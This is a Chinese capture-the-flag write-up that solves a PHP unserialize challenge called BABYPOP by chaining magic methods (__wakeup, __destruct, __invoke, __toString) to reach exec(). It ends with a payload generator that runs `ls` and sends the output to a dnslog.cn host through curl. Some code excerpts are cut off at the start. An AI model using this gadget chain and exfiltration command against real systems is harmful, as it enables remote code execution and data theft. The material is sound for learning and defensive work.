三叶草--BABYPOP

题目:

i_want_2_listen_2_MaoZhongDu);} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}class c {public function __wakeup(){a::$Do_u_like_JiaRan = true;}
}class d {public function __invoke(){a::$Do_u_like_AFKL = true;return "关注嘉然," . $this->value;}
}class e {public function __destruct(){if (a::$Do_u_like_JiaRan) {($this->afkl)();} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}if (isset($_GET['data'])) {unserialize(base64_decode($_GET['data']));
} else {highlight_file(__FILE__);
}

分析:

经过简单的代码审计之后,我们能够得到flag的,只有通过类b的__toString()方法中的这行代码:

return exec($this->i_want_2_listen_2_MaoZhongDu);

(因为exec没有回显,所以我们可以通过反弹shell来得到东西,这里因为我没有公网IP所以就用

curl `执行的命令`.dnslog      来做示范。)

首先i_want_2_listen_2_MaoZhongDu是类b中的变量我们可控,所以exec中的参数我们就可控了,然后要进行exec(),就得使a::$Do_u_like_AFKL为true,然而我们可以看见类a中的两个变量都是flase,注意这两个变量都是静态变量,刚开始我以为静态变量我们可以在反序列化的时候控制,结果发现不行,原因如下:

示例:

1、

x);} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}
$tt=new a();
$tt->monica();

变量x是静态的并刚开始为false。

结果:

我们可以发现a::$x的值为false,而$this->x为NULL

而当我们增加一个__construct()函数的时候:

x=true;}public function monica(){if (!a::$x) {var_dump($this->x);} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}
$tt=new a();
$tt->monica();

结果只改变了$this->x的值:

2、

若我们构造一个序列化字符串:

x=true;}}
echo serialize(new a());

结果:O:1:"a":1:{s:1:"x";b:1;}

进行反序列化:

x);} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}
$tt=unserialize('O:1:"a":1:{s:1:"x";b:1;}');
$tt->monica();

 结果还是只修改了$this->x的值:

说明使用__construct()修改静态变量的值只会修改$this->静态变量的值。而不会影响

类名::静态变量的值。

3、那么我们如何修改类名::静态变量的值呢?

x);} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}class b{public $x;public function __construct(){a::$x=true;$this->x=new a();$this->x->monica();}
}$tt=new b();

 可以发现我们通过实例化b,通过b的__construct()方法将a::$x的值修改为了true、所以在使用$this->monica()方法的时候就进入了else语句。

通过上面的解释,我们知道了不能使用序列化字符串来覆盖类名::静态变量。

全局搜索Do_u_like_JiaRan,发现只有在类c的__wakeup方法中才能使 a::$Do_u_like_JiaRan = true;

知识点:

__wakeup() //将在反序列化之后立即调用

所以我们要序列化的对象一定是类c。

然后我们再回到分析类b的toString()方法

知识点:

__toString(): //当一个对象被当作字符串使用时触发,echo,return一个对象的时候

要想调用toString()方法就必须,找到能够输出类b的地方。最终在类d中发现:

class d {public function __invoke(){a::$Do_u_like_AFKL = true;return "关注嘉然," . $this->value;}
}

只有我们将$this->value赋值为类b的实例化对象即可。

但我们发现类d中并没有$value这个变量,其实我们可以自己创建

示例:

我们先构造一个序列化字符串

结果:O:1:"d":1:{s:1:"a";s:6:"monica";}

测试页面:

a;}
}

如果我们之间输出一个类中没有的变量是不会输出东西的 

但是如果我们反序列化了呢?

 成功输入monica!

所以我们就能构造一个序列化字符串,里面的类d中有$value这个变量且他的值为new b()。同时类d的__invoke()方法中还使 a::$Do_u_like_AFKL = true;那么类b中if语句的问题我们也解决了。

其次,要想调用类d的__invoke()方法

知识点:

 __invoke() //当脚本尝试将对象调用为函数时触发

所以我们得找到一个函数执行点,且函数名可控;最终在类e中找到:

class e {public function __destruct(){if (a::$Do_u_like_JiaRan) {($this->afkl)();} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}

因为我们在类c中使得a::$Do_u_like_JiaRan;所以只要在类e中使$afkl=new d()即可。

最后要将类c和类e连接起来;因为我们可以自己在类中构造变量,所以在类c中构造一个变量,使他的值为new e()即可。

最终的payload:

i_want_2_listen_2_MaoZhongDu='curl `ls`.mpgq7s.dnslog.cn';}}class c {public $cvalue;public function __construct(){$this->cvalue=new e();}}class d {public $value;public function __construct(){$this->value=new b();}}class e {public $afkl;public function __construct(){$this->afkl=new d();}}$a=new c();
echo base64_encode(serialize($a));

结果:

 


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部